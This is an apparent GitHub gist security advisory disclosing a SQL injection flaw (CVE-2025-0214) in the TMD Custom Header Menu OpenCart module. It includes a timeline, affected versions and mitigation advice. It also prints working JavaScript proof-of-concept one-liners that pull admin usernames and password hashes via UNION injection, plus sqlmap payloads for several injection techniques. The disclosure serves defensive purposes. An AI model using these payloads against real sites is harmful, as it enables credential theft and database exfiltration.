Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active April 4, 2025 11:37
Show Gist options
  • Save mcdruid/ff4f29f4e7830e9e91988c7195d77039 to your computer and use it in GitHub Desktop.
Save mcdruid/ff4f29f4e7830e9e91988c7195d77039 to your computer and use it in GitHub Desktop.
TMD Custom Header Menu OpenCart module SQL Injection vulnerability

Summary

The TMD Custom Header Menu OpenCart module has a SQL Injection (SQLi) vulnerability.

This allows an authenticated attacker to access any and all content stored in the database.

Via the SQLi vulnerability it's possible to compromise the site by exfiltrating admin session details / credentials.

Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.

This vulnerability is mitigated by the fact that in order to exploit it, an attacker must have access to the admin User Interface of the site (or a valid session cookie and user_token).

Timeline

  • 2024-12-27: mcdruid contacts TMD to report vulnerability
  • 2024-12-28: TMD replied acknowledging the report
  • 2024-12-30: TMD released fixed version in the OpenCart marketplace
  • 2025-01-03: CVE assignment requested

Details of the Module

  "name": "TMD Custom Header Menu",
  "codename": "tmdcustomheadermenu",
  "version": "4.0.0.1",
  • OpenCart 3 version also affected (release from 2017 with no version number)
  • Tested with OpenCart 4.0.2.3, 3.0.4.0

Vulnerability Classification

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • CAPEC-66: SQL Injection
  • CAPEC-7: Blind SQL Injection
  • CVSS (v3): CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L 7.2 High
  • CVE: CVE-2025-0214

Steps to Reproduce

In the examples below, a simple OpenCart test site has been set up with the TMD Custom Header Menu OpenCart module installed. It may be necessary to create at least one header menu entry for some SQLi exploits to work (e.g. a simple UNION based vector). SQLi is possible without any set up beyond initial installation.

The following Proof of Concept simulates a Cross Site Scripting (XSS) attack on an admin user. This can be executed via the browser console.

OpenCart 4:

!function(e){e.get("/admin/index.php?route=extension%2Ftmdcustomheadermenu%2Ftmd%2Ftmdcustomheader%7Cform&user_token="+new URLSearchParams(window.location.search).get("user_token")+"&headermenu_id=0%27+UNION+ALL+SELECT+status%2Cuser_id%2Cusername%2Cfirstname%2Clastname%2Cemail%2Cpassword+FROM+oc_user+WHERE+user_id%3D1--+.",(function(n){console.log(e(n).find("[name=sort_order]")[0].value)}))}(jQuery);

OpenCart 3:

!function(e){e.get("/admin/index.php?route=extension/headermenu/update&user_token="+new URLSearchParams(window.location.search).get("user_token")+"&headermenu_id=0%27+UNION+ALL+SELECT+status%2Cuser_id%2Cusername%2Cfirstname%2Clastname%2Cemail%2CCONCAT%28salt%2C%27%3A%27%2Cpassword%29+FROM+oc_user+WHERE+user_id%3D1--+.",(function(n){console.log(e(n).find("[name=sort_order]")[0].value)}))}(jQuery);

The problem is that the headermenu_id GET parameter is inserted directly into a SQL query with no sanitisation.

It's possible to extract arbitrary information from the database using this vulnerability. A tool like sqlmap is able to extract a full database dump.

However, a valid session cookie and user_token are required.

sqlmap reports the following possible SQLi techniques (in OpenCart 4 with only the basic installation of the module):

---
Parameter: headermenu_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' RLIKE (SELECT (CASE WHEN (7144=7144) THEN 1 ELSE 0x28 END))-- olbq

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' AND EXTRACTVALUE(1761,CONCAT(0x5c,0x71787a7671,(SELECT (ELT(1761=1761,1))),0x7170767671))-- TYHm

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' AND (SELECT 1789 FROM (SELECT(SLEEP(5)))ZXVl)-- BoxD

    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7671,0x4c475153756e6e506b426d6b6963726e7a546653514c717a78496a4e79504f47756a70724e4f616e,0x7170767671),NULL#
---

Mitigation

OpenCart's database API is very basic and does not employ prepared statements or parameterised inputs to queries.

Therefore modules must appropriately validate all unsafe input which is used to assemble SQL queries.

This is typically done in two ways; either the value is cast to a numeric format, or the database driver’s escape method is used.

An example from OpenCart's own code that uses both techniques:

$this->db->query("INSERT INTO `" . DB_PREFIX . "customer_transaction` SET `customer_id` = '" . (int)$customer_id . "', `order_id` = '" . (int)$order_id . "', `description` = '" . $this->db->escape($description) . "', `amount` = '" . (float)$amount . "', `date_added` = NOW()");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment